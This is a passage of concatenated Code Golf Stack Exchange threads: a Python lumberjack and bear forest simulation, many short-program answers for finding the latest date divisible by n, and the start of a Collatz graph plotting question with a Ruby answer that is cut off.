        drawLetter(x * size, y * size, 'S');
    }
}

function drawLine(x1, y1, x2, y2, c) {
    context.beginPath();
    context.moveTo(x1, y1);
    context.lineTo(x2, y2);
    context.lineWidth = 3;
    context.strokeStyle = c;
    context.stroke();
}

function drawRect(x, y, w, h, c) {
    context.fillStyle = c;
    context.fillRect(x, y, w, h);
}

function drawLetter(x, y, l) {
    context.fillText(l, x, y);
}

$(document).ready(function () {
    initWorld();
    intervalID = window.setInterval(animateWorld, intervalTime);
    /*$('#s').click(function() {
        animateWorld();
    })*/
});

// http://stackoverflow.com/questions/2450954/how-to-randomize-shuffle-a-javascript-array
function shuffle(array) {
    var currentIndex = array.length,
        temporaryValue, randomIndex;

    // While there remain elements to shuffle...
    while (0 !== currentIndex) {

        // Pick a remaining element...
        randomIndex = Math.floor(Math.random() * currentIndex);
        currentIndex -= 1;

        // And swap it with the current element.
        temporaryValue = array[currentIndex];
        array[currentIndex] = array[randomIndex];
        array[randomIndex] = temporaryValue;
    }
    return array;
}

```

# Answer
> 3 votes
# Python

Nothing fancy. I kept on adding stuff, so refactoring might be in order. (And I didn't do unitest so bugs might still be present).

I gave random names to lumberjacks and bears. Trees are `i`, then `I`, then `#`, Lumberjacks are `x`, Bears are `o`

```
import os

from random import randint, choice, shuffle
from time import sleep

NGRID = 15
SLEEPTIME = 0.0125
DURATION = 4800
VERBOSE = True

###init
grid = [[[] for _ in range(NGRID)] for _ in range(NGRID)]
#Money earned this year
n_lumbers = 0
#Lumberjacks killed this year
n_maul = 0

tick = 0
events = []
#total number of
d_total = {'trees':0,
           'lumberjacks': 0,
           'bears': 0,
           'cut': 0,
           'maul': 0,
           'capture': 0,
           'lumbers': 0,
           'fired': 0}

d_oldest = {'tree': 0,
            'lumberjack': (0, ""),
            'bear': (0, "")}

d_most = {'n_maul': (0, ""),
          'n_lumber': (0, ""),
          'n_cut': (0, "")}

d_year = {'n_maul': 0,
          'n_lumber': 0}

###Classes
class Tree(object):
    """Represent a Sapling, Tree, or Elder Tree"""
    def __init__(self, coords, m=0, t='Sapling'):
        self.months = m
        self.typeof = t
        self.coords = coords
    def grow(self, m=1):
        """the tree grows 1 month and its type might change"""
        self.months = self.months + m
        if self.months == 12:
            self.typeof = 'Tree'
        elif self.months == 480:
            self.typeof = 'Elder Tree'
    def __str__(self):
        if self.typeof == 'Sapling':
            return 'i'
        elif self.typeof == 'Tree':
            return 'I'
        else:
            return '#'

class Animated(object):
    """Animated beings can move"""
    def __init__(self, coords):
        self.coords = coords
        self.old_coords = None
        self.months = 0
    def where(self):
        return c_neighbors(self.coords)
    def choose_new_coords(self):
        self.old_coords = self.coords
        possible = self.where()
        if possible:
            direction = choice(self.where())
            self.coords = [(self.coords[i]+direction[i]) % NGRID for i in range(2)]
#    def __del__(self):
#        print "died at "+ str(self.coords)

class Lumberjack(Animated):
    """Lumberjacks chop down trees"""
    def __init__(self, coords):
        super(Lumberjack, self).__init__(coords)
        self.nb_cut = 0
        self.nb_lumber = 0
        self.name = gen_name("l")
    def __str__(self):
        return "x"

class Bear(Animated):
    """Bears maul"""
    def __init__(self, coords):
        super(Bear, self).__init__(coords)
        self.nb_maul = 0
        self.name = gen_name("b")
    def where(self):
        return c_land_neighbors(self.coords)
    def __str__(self):
        return "o"

###list of coords
def c_neighbors(coords):
    """returns the list of coordinates of adjacent cells"""
    return [[(coords[0] + i) % NGRID, (coords[1] + j) % NGRID] \
            for i in [-1, 0, 1] \
            for j in [-1, 0, 1] \
            if (i,j) != (0, 0)]

def c_empty_neighbors(coords):
    """returns the list of coordinates of adjacent cells that are empty """
    return [[i, j] for [i,j] in c_neighbors(coords) if grid[i][j] == []]

def c_land_neighbors(coords):
    """returns the list of coordinates of adjacent cells that contain not Trees
    for bears"""
    return [[i, j] for [i,j] in c_neighbors(coords)\
            if (grid[i][j] == []) or (not isinstance(grid[i][j][0], Tree))]

def c_empty_cells():
    """returns list of coords of empty cells in the grid"""
    return [[i, j] for i in range(NGRID) for j in range(NGRID) if grid[i][j] == []]

def c_not_bear_cells():
    """returns list of coords of cells without bear"""
    return [[i, j] for i in range(NGRID) for j in range(NGRID) \
            if not isinstance(grid[i][j], Bear)]

###one less
def maul(lumberjack):
    """a lumberjack will die"""
    global n_maul
    n_maul = n_maul + 1
    d_total['maul'] = d_total['maul'] + 1
    remove_from_grid(lumberjack.coords, lumberjack)
    return lumberjack.name + " is sent to hospital" + check_lumberjacks()

def capture_bear():
    """too many mauls, a Zoo traps a bear"""
    d_total['capture'] = d_total['capture'] + 1
    bear = choice(get_bears())
    remove_from_grid(bear.coords, bear)
    return bear.name + " has been captured"

def fire_lumberjack():
    """the job is not done correctly, one lumberjack is let go"""
    d_total['fired'] = d_total['fired'] + 1
    lumberjack = choice(get_lumberjacks())
    remove_from_grid(lumberjack.coords, lumberjack)
    return lumberjack.name + " has been fired" + check_lumberjacks()

def remove_from_grid(coords, item):
    """remove item from the grid at the coords"""
    grid[coords[0]][coords[1]].remove(item)
    del item

###one more
def new_animate(class_):
    """a new lumberjack or bear joins the forest"""
    if class_==Bear:
        d_total['bears'] = d_total['bears'] + 1
        x, y = choice(c_empty_cells())
    else:
        d_total['lumberjacks'] = d_total['lumberjacks'] + 1
        x, y = choice(c_not_bear_cells())
    new_being = class_([x,y])
    grid[x][y].append(new_being)
    return "a new " + class_.__name__ + " enters the forest: " + new_being.name

def check_lumberjacks():
    """we will never reduce our Lumberjack labor force below 0"""
    if len(get_lumberjacks())==0:
        return " - no more lumberjack, " + new_animate(Lumberjack)
    return ""

###movements
def move_on_grid(being):
    [x, y] = being.old_coords
    grid[x][y].remove(being)
    [x, y] = being.coords
    grid[x][y].append(being)

def move_lumberjack(lumberjack):
    """Lumberjacks move 3 times if they don't encounter a (Elder) Tree or a Bear"""
    global n_lumbers
    for _ in range(3):
        lumberjack.choose_new_coords()
        move_on_grid(lumberjack)
        [x, y] = lumberjack.coords
        #is there something at the new coordinate?
        #move append so this lumberjack is at the end
        if grid[x][y][:-1] != []:
            if isinstance(grid[x][y][0], Tree):
                the_tree = grid[x][y][0]
                price = worth(the_tree)
                if price > 0:
                    lumberjack.nb_cut = lumberjack.nb_cut + 1
                    d_most['n_cut'] = max((lumberjack.nb_cut, lumberjack.name), \
                                           d_most['n_cut'])
                    d_total['cut'] = d_total['cut'] + 1
                    n_lumbers = n_lumbers + price
                    d_total['lumbers'] = d_total['lumbers'] + 1
                    lumberjack.nb_lumber = lumberjack.nb_lumber + price
                    d_most['n_lumber'] = max(d_most['n_lumber'], \
                                             (lumberjack.nb_lumber, lumberjack.name))
                    remove_from_grid([x, y], the_tree)
                    return lumberjack.name + " cuts 1 " + the_tree.typeof
            #if there is a bear, all lumberjacks have been sent to hospital
            if isinstance(grid[x][y][0], Bear):
                #the first bear is the killer
                b = grid[x][y][0]
                b.nb_maul = b.nb_maul + 1
                d_most['n_maul'] = max((b.nb_maul, b.name), d_most['n_maul'])
                return maul(lumberjack)
    return None

def move_bear(bear):
    """Bears move 5 times if they don't encounter a Lumberjack"""
    for _ in range(5):
        bear.choose_new_coords()
        move_on_grid(bear)
        [x, y] = bear.coords
        there_was_something = (grid[x][y][:-1] != [])
        if there_was_something:
            #bears wander where there is no tree
            #so it's either a lumberjack or another bear
            #can't be both.
            if isinstance(grid[x][y][0], Lumberjack):
                bear.nb_maul = bear.nb_maul + 1
                d_most['n_maul'] = max((bear.nb_maul, bear.name), \
                                       d_most['n_maul'])
                return maul(grid[x][y][0])
    return None

###get objects
def get_objects(class_):
    """get a list of instances in the grid"""
    l = []
    for i in range(NGRID):
        for j in range(NGRID):
          if grid[i][j]:
              for k in grid[i][j]:
                  if isinstance(k, class_):
                      l.append(k)
    return l

def get_trees():
    """list of trees"""
    return get_objects(Tree)

def get_bears():
    """list of bears"""
    return get_objects(Bear)

def get_lumberjacks():
    """list of lumberjacks"""
    return get_objects(Lumberjack)

###utils
def gen_name(which="l"):
    """generate random name"""
    name = ""
    for _ in range(randint(1,4)):
        name = name + choice("bcdfghjklmnprstvwxz") + choice("auiey")
    if which == "b":
        name = name[::-1]
    return name.capitalize()

def worth(tree):
    """pieces for a tree"""
    if tree.typeof == 'Elder Tree':
        return 2
    if tree.typeof == 'Tree':
        return 1
    return 0

def one_month():
    """a step of one month"""
    events = []
    global tick
    tick = tick + 1
    #each Tree can spawn a new sapling
    for t in get_trees():
        l_empty_spaces = c_empty_neighbors(t.coords)
        percent = 10 if t.typeof == 'Tree' else \
                  20 if t.typeof == 'Elder Tree' else 0
        if (randint(1,100) < percent):
            if l_empty_spaces:
                [x, y] = choice(l_empty_spaces)
                grid[x][y] = [Tree([x,y])]
                d_total['trees'] = d_total['trees'] + 1
        t.grow()
        d_oldest['tree'] = max(t.months, d_oldest['tree'])
    #each lumberjack/bear moves
    for l in get_lumberjacks():
        l.months = l.months + 1
        d_oldest['lumberjack'] = max((l.months, l.name), \
                                     d_oldest['lumberjack'])
        event = move_lumberjack(l)
        if event:
            events.append(event)
    for b in get_bears():
        b.months = b.months + 1
        d_oldest['bear'] = max((b.months, b.name), d_oldest['bear'])
        event = move_bear(b)
        if event:
            events.append(event)
    return events

def print_grid():
    """print the grid
    if more than 1 thing is at a place, print the last.
    At 1 place, there is
    - at most a tree and possibly several lumberjack
    - or 1 bear
    """
    print "-" * 2 * NGRID
    print '\n'.join([' '.join([str(i[-1]) if i != [] else ' ' \
                               for i in line]) \
                     for line in grid])
    print "-" * 2 * NGRID

def clean():
    """clear the console"""
    os.system('cls' if os.name == 'nt' else 'clear')

def print_grid_and_events():
    """print grid and list of events"""
    clean()
    print_grid()
    if VERBOSE:
        print '\n'.join(events)
        print "-" * 2 * NGRID

###populate the forest
l = c_empty_cells()
shuffle(l)
for x, y in l[:((NGRID*NGRID) / 2)]:
    grid[x][y] = [Tree([x, y], 12, 'Tree')]
    d_total['trees'] = d_total['trees'] + 1

l = c_empty_cells()
shuffle(l)
for x, y in l[:((NGRID*NGRID) / 10)]:
    grid[x][y] = [Lumberjack([x, y])]
    d_total['lumberjacks'] = d_total['lumberjacks'] + 1

l = c_empty_cells()
shuffle(l)
for x, y in l[:((NGRID*NGRID) / 10)]:
    grid[x][y] = [Bear([x, y])]
    d_total['bears'] = d_total['bears'] + 1

###time goes on
while (tick <= DURATION and len(get_trees())>0):
    events = one_month()
    #end of the year
    if (tick % 12)==0:
        events.append("End of the year")
        #lumber tracking
        nlumberjacks = len(get_lumberjacks())
        events.append(str(n_lumbers) + " lumbers VS " +\
                      str(nlumberjacks) + " Lumberjacks")
        if n_lumbers >= nlumberjacks:
            n_hire = n_lumbers/nlumberjacks
            events.append("we hire " + str(n_hire) +\
                          " new Lumberjack" + ("s" if (n_hire > 1) else ""))
            for _ in range(n_hire):
                events.append(new_animate(Lumberjack))
        else:
            events.append(fire_lumberjack())
        d_year['n_lumber'] = max(d_year['n_lumber'], n_lumbers)
        n_lumbers = 0
        #maul tracking
        events.append("maul this year: " + str(n_maul))
        if n_maul == 0:
            events.append(new_animate(Bear))
        else:
            events.append(capture_bear())
        d_year['n_maul'] = max(d_year['n_maul'], n_maul)
        n_maul = 0
    print_grid_and_events()
    sleep(SLEEPTIME)

print "-"*70
print "End of the game"
print "-"*70
print "month:" + str(tick - 1)
print "number of trees still alive: " + str(len(get_trees()))
print "number of lumberjacks still alive: " + str(len(get_lumberjacks()))
print "number of bears still alive: " + str(len(get_bears()))

print "-"*70
print "oldest Tree ever is/was: " + str(d_oldest['tree'])
print "oldest Lumberjack ever is/was: " + str(d_oldest['lumberjack'][0]) + \
    " yo " + d_oldest['lumberjack'][1]
print "oldest Bear ever is/was: " + str(d_oldest['bear'][0]) + \
    " yo " + d_oldest['bear'][1]
print "-"*70
print "max cut by a Lumberjack: " + str(d_most['n_cut'][0]) + \
    " by " + str(d_most['n_cut'][1])
print "max lumber by a Lumberjack: " + str(d_most['n_lumber'][0]) + \
    " by " + str(d_most['n_lumber'][1])
print "max maul by a Bear: " + str(d_most['n_maul'][0]) + \
    " by " + str(d_most['n_maul'][1])
print "-"*70
print "max lumber in a year: " + str(d_year['n_lumber'])
print "max maul in a year: " + str(d_year['n_maul'])
print "-"*70
print "Total of:"
for i, j in d_total.items():
    print i, str(j)

```

Some outputs:

```
------------------------------
          x

    I
    I
  x   i                     I

      i i i   i       I I x i
i   I   I i I I   i i     o
      i i I I I           i
    i I   x i
    I I   I I
      I     I i
            x
------------------------------
Dy is sent to hospital
Lehuniru cuts 1 Tree
------------------------------

```

End of the year

```
------------------------------
            x

    x

i I     I
    i     I               x
      I
                          i i
      x                   I I
  i I   i I     i       i
  I         i I
            i x i
    I         i I
          o
        x
------------------------------
Fuha cuts 1 Tree
Ka cuts 1 Tree
Ky is sent to hospital
End of the year
11 lumbers VS 4 Lumberjacks
we hire 2 new Lumberjacks
a new Lumberjack enters the forest: Di
a new Lumberjack enters the forest: Dy
maul this year: 6
Evykut has been captured
------------------------------

```

End of the game

```
------------------------------
          x
  i
        x     x

          x                 x
                  x i     x
    i               I
    I i x x   I i           x
                    x   i   i
      x i i i i I
      i i I   I i I   i
I       i     i i
        i   x   i
            I   i I
    I I   x i   I I         x
------------------------------
Vanabixy cuts 1 Tree
Fasiguvy cuts 1 Tree
------------------------------
----------------------------------------------------------------------
End of the game
----------------------------------------------------------------------
month:4800
number of trees still alive: 36
number of lumberjacks still alive: 15
number of bears still alive: 0
----------------------------------------------------------------------
oldest Tree ever is/was: 129
oldest Lumberjack ever is/was: 308 yo Cejuka
oldest Bear ever is/was: 288 yo Ekyx
----------------------------------------------------------------------
max cut by a Lumberjack: 44 by Cejuka
max lumber by a Lumberjack: 44 by Cejuka
max maul by a Bear: 52 by Ekyx
----------------------------------------------------------------------
max lumber in a year: 84
max maul in a year: 86
----------------------------------------------------------------------
Total of:
bears 211
cut 5054
fired 67
capture 211
lumberjacks 1177
lumbers 5054
maul 1095
trees 5090

```

---
Tags: popularity-contest, ascii-art, simulation
---


# Question
Title: When was the last time the date was divisible by n?
A date can be represented by an unsigned integer as such: YYYYMMDD. What you need to do, is write the shortest program or function that figures out the most recent date whose number was divisible by a given number `n` (including today's date) and then returns that date in the format showed above. If there has never been a date (between 00000101 and today inclusive) divisible by the given integer, you should return -1.

## Examples

```
Current Date     Input     Output

30 July, 2014      4       20140728
30 July, 2014      7       20140729
28 July, 2014      4       20140728
28 July, 2014      7       20140722
28 July,    5    90000     -1

```

## Input

You can read from STDIN or take a function argument or even expect the input to be stored in a variable. The input will be an unsigned integer.

## Output

Write to STDOUT or return (or save in a variable) the integer representing the date in the format YYYYMMDD.

## Restrictions

You may use any standard library your language offers. Standard loopholes apply.

# Winning conditions

This is a , so smallest program (in bytes) wins. In case of a tie, the answer with the most votes wins.

# Answer
> 16 votes
## Mathematica, ~~93~~ 60 bytes

```
For[i=0,(r=DatePlus@i--~FromDigits~100)>0&&!n∣r,];r~Max~-1

```

Expects the input to be stored in `n`.

Note that the vertical line  is the unicode character for "divides", which I've counted as 3 bytes (UTF-8).

**Edit:** Found a neat trick to avoid the bloated `DateString` and format specification :).

**Edit:** Totally forgot about the `-1` requirement. Fixed now.

Here is an explanation

```
For[i=0,            i--                        ,];         (* i is the number of days AFTER
                                                              today. Hence, we decrement
                                                              it. *)
For[i=0,   DatePlus@i--                        ,];         (* If no reference date is
                                                              provided, DatePlus will add
                                                              the given number of days to
                                                              today's date. The result is a
                                                              list of 3 integers, luckily
                                                              in order {year,month,day} *)
For[i=0,   DatePlus@i--~FromDigits~100         ,];         (* Interpret these as the digits
                                                              of a base 100 number. The
                                                              beauty is that FromDigits
                                                              doesn't care about digits
                                                              greater than the base and
                                                              just carries them over. *)
For[i=0,(r=DatePlus@i--~FromDigits~100)        ,];         (* Store the number in r. *)
For[i=0,(r=DatePlus@i--~FromDigits~100)>0      ,];         (* Make sure it's positive. *)
For[i=0,(r=DatePlus@i--~FromDigits~100)>0&&!n|r,];         (* And keep going while n does
                                                              not divide r. *)
For[i=0,(r=DatePlus@i--~FromDigits~100)>0&&!n|r,];r~Max~-1 (* Clamp result to -1. *)

```

Note that I've used `|` instead of  in the explanation, because the Unicode one messes with monospacing.

# Answer
> 6 votes
## Python 2 - 150

```
import datetime as d,re
def f(n):
 t=d.date.today()
 while t:
    c=int(re.sub("-","",str(t)))
    if c%n<1:return c
    try:t-=d.timedelta(1)
    except:return-1

```

Thanks @chill0r for suggestion to remove days=, and Jason S for tip that the try block can be reduced to one line.

# Answer
> 5 votes
## C# 136

With the revised specs, a function that takes an unsigned int and returns an int.

```
int F(uint n){var d=System.DateTime.Now;int i;try{while((i=int.Parse(d.ToString("yyyMMdd")))%n>0)d=d.AddDays(-1);}catch{i=-1;}return i;}

```

---

152 characters with variable input/output

Taking advantage of the loose input/output requirements, input is to be stored in the variable `n` (currently counting all characters except the integer literal), and output is provided with the variable `s`.

```
class P{static void Main(){var n=4;var d=System.DateTime.Now;string s;try{while(int.Parse(s=d.ToString("yyyMMdd"))%n>0)d=d.AddDays(-1);}catch{s="-1";}}}

```

---

204 characters with STDIN/STDOUT:

```
using System;class P{static void Main(){int n=int.Parse(Console.ReadLine());var d=DateTime.Now;string s;try{while(int.Parse(s=d.ToString("yyyMMdd"))%n>0)d=d.AddDays(-1);}catch{s="-1";}Console.Write(s);}}

```

# Answer
> 4 votes
# Golflua ~~90~~ 86

```
n=I.r()d="%Y%m%d"i=O.d(d)+0j=0@i>0?i%n==0w(i)O.q()$j=j+1i=O.d(d,O.t()-j*86400)+0$w(-1)

```

An ungolfed Lua version would be,

```
n = io.read()
d = "%Y%m%d"
i = os.date(d)+0   -- implicitly casts os.date(d) to int
j = 0
while i>0 do
   if i % n == 0 then
      print(i)
      os.exit()
   end
   j = j+1
   i = os.date(d,os.time()-j*86400)+0
end
print(-1)

```

# Answer
> 4 votes
# PHP (92=85+7)

Expects input to be stored in `$n`.

```
for($d=date("Ymd");!($d%$n==0&checkdate($d/100%100,$d%100,substr($d,0,4))|$d<0);$d--);echo$d

```

I just remembered why I do not like PHP anymore=)

EDIT: Now the -1 of the specifications is implemented too.

# Answer
> 4 votes
# T-SQL (2012) - 148

Assumes there is a free variable @n with the n value.

```
declare @ date=getdate()while convert(char,@,112)%@n>0 and'00010101'<@ set @=dateadd(d,-1,@)print iif(convert(char,@,112)%@n=0,convert(char,@),'-1')

```

# Answer
> 4 votes
# MATLAB: 61

```
-1,s=str2num(datestr(1:now,'YYYYmmDD')),d=s(~mod(s,n)),d(end)

```

Assumes the divisor is stored in `n`. The result will be stored in a variable called `ans`.

---

Commented version:

```
-1                                     % Store -1 in ans in case we don't find anything
s=str2num(datestr(1:now,'YYYYmmDD'))   % Make a list of date numbers
d=s(~mod(s,n)),                        % Select only those who are dividable and prepend -1
d(end)                                 % Store last found value in ans, if anything is found

```

Will generate an error if no result is found, but the answer is still available in the variable despite that.

---

Error could be avoided at the cost of 2 extra chars:

```
s=str2num(datestr(1:now,'YYYYmmDD')),d=[-1;s(~mod(s,n))],d(end)

```

# Answer
> 3 votes
# JavaScript (ES6) 115

Expects number in variable n, result stored in variable r. Each day is checked, starting with current date and decrementing - there must be a better way.
Moreover, using standard javascript date functions, all dates are gregorian down to year 1 (with leap years accordingly wrong before gregorian reform).

```
for(z=new Date,t=n+1;t>n&&t%n;)
  d=z.getDate(),
  t=z.getFullYear()*1e4+(z.getMonth()+1)*100+d,
  z.setDate(d-1);
r=t>n?t:-1

```

# Answer
> 3 votes
## C# - 144 (Or 124 in LINQPad) + 1 for each digit in `n`

This expects the input to be in the variable `n`. By the end of the execution the desired value will be in the variable `r`. This considers `00010101` as the first date, though, because the date `00000101` does not exist. Suggestions for improvement are always welcome.

```
class P{static void Main(){int n=7,r;var d=System.DateTime.Now;try{for(;(r=int.Parse(d.ToString("yyyMMdd")))%n>0;d=d.AddDays(-1));}catch{r=-1;}}}

```

LINQPad version:

```
int n=7,r;var d=System.DateTime.Now;try{for(;(r=int.Parse(d.ToString("yyyMMdd")))%n>0;d=d.AddDays(-1));}catch{r=-1;}r.Dump();

```

# Answer
> 3 votes
## Matlab 104

```
function d=f(v);for d=fix(now):-1:1 d=str2num(datestr(d,'YYYYmmDD'));if~mod(d,v)return;end;end;d=-1;end

```

Ungolfed :

```
function d = f(v)
   for d=fix(now):-1:1
       d = str2num(datestr(d,'YYYYmmDD'));
       if ~mod(d,v)
          return;
       end
   end
   d = -1;
end

```

EDIT: I managed to optimise it a bit, but @DennisJaheruddin has the real solution here

# Answer
> 3 votes
## Groovy - 301 300 chars

Very simple (and slow), with no tricks to hide the fact that it uses Joda Time.

Golfed:

```
@Grab(group='joda-time', module='joda-time', version='2.3')
import org.joda.time.*
import org.joda.time.format.*
f={DateTimeFormat.forPattern("yyyyMMdd").print(new LocalDate().minusDays(it)) as int}
n=args[0] as int;b=0;x=-1;c=0
while(!b){if(f(c++)%n==0){x=f(--c);b=1};if(f(0)-c<=101){b=1}}
println x

```

Example run (on 7/30/2014):

```
$ groovy D.groovy  7
20140729
$ groovy D.groovy  16
20140720
$ groovy D.groovy  90000
-1

```

Ungolfed:

```
@Grab(group='joda-time', module='joda-time', version='2.3')

import org.joda.time.*
import org.joda.time.format.*

f = { DateTimeFormat.forPattern("yyyyMMdd").print(new LocalDate().minusDays(it)) as int }

n = args[0] as int
b = 0
x = -1
c = 0

while (!b) {
    if(f(c++)%n==0) { x=f(--c); b=1}
    if(f(0)-c<=101){b=1}
}

println x

```

# Answer
> 3 votes
# Python 3 - 151 148 bytes, generators

```
from datetime import*
t=date.today()
f=lambda n:next((y for y in(int((t-timedelta(o)).strftime("%Y%m%d"))for o in range(t.toordinal()))if y%n<1),-1)

```

Thanks @nyuszika7h for `import*` suggestion

# Answer
> 3 votes
## R, 146 139

```
D=function(n){
z=as.double(gsub("-","",y<-Sys.Date()))
d=F
while(z>100&!d){
y=y-1
z=as.double(gsub("-","",y))
d=!z%%n}
ifelse(z>100,z,-1)}

```

Good luck with a date that doesn't work. `microbenchmark` reports it takes about half a second to go back 15 days. As of July 31, 2014, this will take something like 20 million seconds (~23 days) to spit out `-1`, at least according to the back of the envelope.

**edit**: some shortcuts in the comments

# Answer
> 2 votes
## Ruby 103

```
require'date'
f=->{d=Date.today
(s=d.strftime('%Y%m%d').to_i
return s if s%n<1
d-=1)while d.year>0
-1}

```

### Input

Expects the divisor value to be present in variable `n`.

### Output

The return value of the `f` function

Online example: http://ideone.com/LoYxG4

# Answer
> 2 votes
# Bash+coreutils (8.21), 67 bytes

```
seq -f-%gday $[9**9]|date -f- +[pq]sp[_1pq]sq%Y%m%ddA1=qd$1%%0=p|dc

```
* `seq` generates integers from 1 to 99, one per line, and formats it as `-<x>day`
* pipe this to `date -f` which interprets each line and outputs the date formatted into a `dc` expression such as `[pq] sp [_1pq] sq 20140728 d A1 =q d 7% 0=p` (spaces added for readability)
    + `[pq]` define a macro to print the top of stack, then quit
    + `sp` save macro in register p
    + `[pq]` define a macro to push -1, print the top of stack, then quit
    + `sq` save macro in register q
    + `20140728` embedded date integer
    + `d` duplicate top of stack
    + `A1` push 101 (00000101)
    + `=q` pop top 2 stack values: compare date and 101, and call macro `q` if equal
    + `7` push divider
    + `%` pop divider and dividee, the divide and push the remainder
    + `0` push 0
    + `=p` pop top 2 stack values: compare remainder and 0, and call macro `p` if equal
    + `d` duplicate top of stack
    + macro `p` is called: prints date integer and quits `dc` entirely
* `dc` expressions are piped to `dc` for evaluation. Once `dc` prints the right value and quits, the rest of the pipeline is torn down

### Output:

```
$ ./lastdivdate.sh 4
20140728
$ ./lastdivdate.sh 7
20140729
$ ./lastdivdate.sh 123456
17901120
$ ./lastdivdate.sh 77777
19910912
$ ./lastdivdate.sh 7777777
-1
$

```

---

Since this program generates integers from 1 to 99, it will be valid up to just over 1 million years into the future. I hope this limitation is acceptable ;-)

---

Thanks @WumpusQ.Wumbley for shortening the return of -1.

# Answer
> 2 votes
## Java : 373 chars

This is a port of the Groovy answer, and uses Joda Time.

Golfed:

```
import org.joda.time.*;
import org.joda.time.format.*;
public class D {
static int f(int i){return Integer.parseInt(DateTimeFormat.forPattern("yyyyMMdd").print(new LocalDate().minusDays(i)));}
public static void main(String[] args){
int n=Integer.parseInt(args[0]);int b=0,c=0,x=-1;
while(b!=1){if(f(c++)%n==0){x=f(--c);b=1;};if(f(0)-c<=101){b=1;}}
System.out.println(x);}}

```

Sample runs (with joda-time-2.4.jar on classpath:

```
$ java D 7
20140729
$ java D 4
20140728
$ java D 16
20140720
$ java D 90000
-1

```

Ungolfed:

```
import org.joda.time.*;
import org.joda.time.format.*;

public class D {
    static int f(int i) {
        return Integer.parseInt(DateTimeFormat.forPattern("yyyyMMdd").print(new LocalDate().minusDays(i)));
    }

    public static void main(String[] args) {
        int n = Integer.parseInt(args[0]);
        int b = 0,c = 0,x = -1;

        while(b!=1) {
            if(f(c++)%n==0) { x=f(--c);b=1; }
            if(f(0)-c<=101) { b=1; }
        }

        System.out.println(x);
    }
}

```

# Answer
> 2 votes
# JavaScript (ES5) - 94

It expects the input in variable `x`, and places the output in `o`.

```
for(i=Date.now();i>-7e13&&(o=(new Date(i)).toISOString().replace(/-|T.*/g,''))%x;i-=864e5)o=-1

```

# Answer
> 2 votes
**PYTHON: 134 bytes**

Not going to be able to beat the current leader, and it's not that much better than the best Python answer, but I decided to post my best Python solution.

```
from datetime import*
def y(a,n):
 s=a.strftime("%Y%m%d")
 if int(s)%n==0:yield s
 try:x=y(a-timedelta(1),n)
 except:yield -1
 yield x

```

Ungolfed:

```
from datetime import *
def y(a, n):
    s=int(a.strftime("%Y%m%d"))
    if s%n==0:
        yield s
    try:
        x=y(a-timedelta(1), n)
    except:
        yield -1
    yield x

```

# Answer
> 2 votes
## k4 ~~(84)~~ (73)

```
f:{f d@*|&~.q.mod[(f:{$[^x;-1;.($x)@&~"."=$x]})'d:{"d"$x+!1+"i"$y-x}[-730457;.z.D];x]}

```

This is just an initial cut with the first algorithm that came to mind; I'm sure better is possible in both performance and length.

This version hardcodes the "today" part (that's the `.z.D`); change it to a date literal (`yyyy.mm.dd`) or an integer in the q date system (days since January 1, 2000) to run the test cases. (q won't parse date literals earlier than the early eighteenth century, so for dates before that, you'll need to work out the value and use the appropriate integer directly. January 1, "A.D. 0", from the spec, turns out to be `-730457`, which is used in the function code. July 28, A.D. 5, from the last test case, turns out to be `-728450`.)

The given test cases:

```
  {f d@*|&~.q.mod[(f:{$[^x;-1;.($x)@&~"."=$x]})'d:{"d"$x+!1+"i"$y-x}[-730457;2014.07.30];x]}4
20140728
  {f d@*|&~.q.mod[(f:{$[^x;-1;.($x)@&~"."=$x]})'d:{"d"$x+!1+"i"$y-x}[-730457;2014.07.30];x]}7
20140729
  {f d@*|&~.q.mod[(f:{$[^x;-1;.($x)@&~"."=$x]})'d:{"d"$x+!1+"i"$y-x}[-730457;2014.07.28];x]}4
20140728
  {f d@*|&~.q.mod[(f:{$[^x;-1;.($x)@&~"."=$x]})'d:{"d"$x+!1+"i"$y-x}[-730457;2014.07.28];x]}7
20140722
  "d"$-728450
0005.07.28
  {f d@*|&~.q.mod[(f:{$[^x;-1;.($x)@&~"."=$x]})'d:{"d"$x+!1+"i"$y-x}[-730457;-728450];x]}90000
-1

```

edit:

```
g:.,/$`\:`$$:;f:{$[Z=r:{(z>x)&.q.mod[g z]y}[Z:-730458;y]{x-1}/x;-1;g"d"$r]}

```

This is a different approach which uses one of the convergence operators to decrement the date until either it finds a divisible one or it crosses the 1/1/0000 boundary. It also does the conversion from date to integer slightly differently.

The test cases, this time all at once:

```
  g:.,/$`\:`$$:;{$[Z=r:{(z>x)&.q.mod[g z]y}[Z:-730458;y]{x-1}/x;-1;g"d"$r]}'[2014.07.30 2014.07.30 2014.07.28 2014.07.28,"d"$-728450;4 7 4 7 90000]
20140728 20140729 20140728 20140722 -1

```

# Answer
> 1 votes
**VBA 343 bytes (module)**

```
Sub divD(i As Long)
a = Now()
b = Format(a, "yyyymmdd")
    Do While b / i <> Int(b / i)
    a = DateAdd("d", -1, a)
    b = Format(a, "yyyymmdd")
        If b = "01000101" Then
            MsgBox -1
            Exit Sub
        End If
    Loop
MsgBox b
End Sub

```

# Answer
> 1 votes
## PowerShell - 76

This depends on the number being stored in the variable `$n`.

```
try{@(0..$n|%{'{0:yyyyMMdd}'-f(date).AddDays(-$_)}|?{!($_%$n)})[0]}catch{-1}

```

---
Tags: code-golf, date
---


title: Collatz Graph Plotting

text:
# Question
Title: Collatz Graph Plotting
Write a program that outputs a graph of the collatz sequence any way you want (ASCII Image Video etc). You have to implement it that way that you can adjust the size of the graph by either the maximum number of nodes or highest number in graph. A boring example here.

Try to present the graph in a creative / insightful way, this is a popularity contest!

Please comment your code / algorithm and post at least one example output in your answer.

### Background: *Collatz sequence*

The Collatz sequence is defined for any natural number `n > 0` by the recursion:

The Collatz conjecture states that the sequence ends in the cycle 1,4,2

# Answer
> 4 votes
# Ruby (via ChunkyPNG)

I don't know if this is *quite* what you had in mind, but I had the idea to try this a while ago and hadn't gotten around to it. We create a row of random colors, then iteratively replace each color n with the color at `collatz(n)`, or an empty pixel if greater than the max, until every sequence either escapes or converges. The result is that each pixel gradually propagates to the positions connected to it in the graph.

```
gem 'chunky_png'
require 'chunky_png'

def random_color
  ChunkyPNG::Color.rgba(*(1..3).map{rand(1..255)},255)
end

def collatz(n)
  n.even? ? n/2 : 3*n + 1
end

def collatz_grid(max)
  grid = []
  colors = (1..max).map { |i|  random_color  }
  collatz_steps = (1..max).map { |n| collatz(n) }
  overflow = ChunkyPNG::Color::TRANSPARENT
  while colors.uniq.count > 4
    grid << colors
    colors = collatz_steps.map { |i| colors[i-1] || overflow }
  end

